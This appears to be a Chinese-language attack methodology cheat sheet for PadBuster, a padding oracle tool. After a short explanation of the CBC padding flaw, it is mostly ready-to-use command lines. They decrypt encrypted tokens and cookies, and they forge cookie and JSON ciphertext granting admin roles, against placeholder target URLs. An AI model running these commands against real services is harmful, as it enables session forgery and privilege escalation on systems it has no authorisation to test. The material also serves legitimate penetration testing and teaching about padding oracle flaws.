PadBuster Padding Oracle 攻击方法论
PadBuster 是 Padding Oracle 攻击的自动化工具。核心能力:自动解密 CBC 密文 + 伪造任意明文的合法密文 + 支持多种编码。
项目地址:https://github.com/AonCyberLabs/PadBuster
漏洞原理
Padding Oracle 漏洞出现在使用 CBC 模式块加密(AES-CBC/DES-CBC)的应用中,当应用对 padding 错误和其他错误返回不同响应时,攻击者可逐字节还原明文或构造任意密文。
Phase 1: 解密模式
# 解密 URL 参数中的密文(Base64 编码,AES-128)
padbuster "http://target/api?token=ENCRYPTED_VALUE" "ENCRYPTED_VALUE" 16 -encoding 0
# 解密 Cookie 中的密文
padbuster "http://target/" "BASE64_CIPHER" 16 \
-cookies "auth=BASE64_CIPHER" -encoding 0
# Hex 编码的密文
padbuster "http://target/page?data=HEX_CIPHER" "HEX_CIPHER" 16 -encoding 1
# DES-CBC(块大小 8)
padbuster "http://target/page?token=ENC" "ENC" 8 -encoding 0Phase 2: 加密模式(伪造密文)
# 伪造 Cookie 值(最危险的利用方式)
padbuster "http://target/" "BASE64_CIPHER" 16 \
-cookies "auth=BASE64_CIPHER" -encoding 0 \
-plaintext "admin"
# 伪造 JSON 内容
padbuster "http://target/" "BASE64_CIPHER" 16 \
-cookies "session=BASE64_CIPHER" -encoding 0 \
-plaintext '{"role":"admin","uid":1}'Phase 3: 高级选项
# 自定义错误识别(当服务器不用 HTTP 状态码区分时)
padbuster "http://target/decrypt?data=ENC" "ENC" 16 \
-encoding 0 -error "Invalid padding"
# URL 前缀(密文在 URL 路径中)
padbuster "http://target/api/ENCRYPTED/action" "ENCRYPTED" 16 \
-encoding 0 -prefix "http://target/api/"
# 密文不含 IV
padbuster "http://target/?data=ENC" "ENC" 16 -encoding 0 -noiv
# 详细输出
padbuster "http://target/?data=ENC" "ENC" 16 -encoding 0 -veryverbose
# 恢复中断的攻击(已知 intermediate 值)
padbuster "http://target/?data=ENC" "ENC" 16 \
-encoding 0 -intermediate "KNOWN_INTERMEDIATE_HEX"编码对照表
| 编码值 | 格式 | 说明 |
|---|---|---|
| 0 | Base64 | 最常见 |
| 1 | hex (小写) | a-f 格式 |
| 2 | hex (大写) | A-F 格式 |
| 3 | .NET UrlToken | ASP.NET 特有 |
| 4 | WebSafe Base64 | URL 安全的 Base64 |
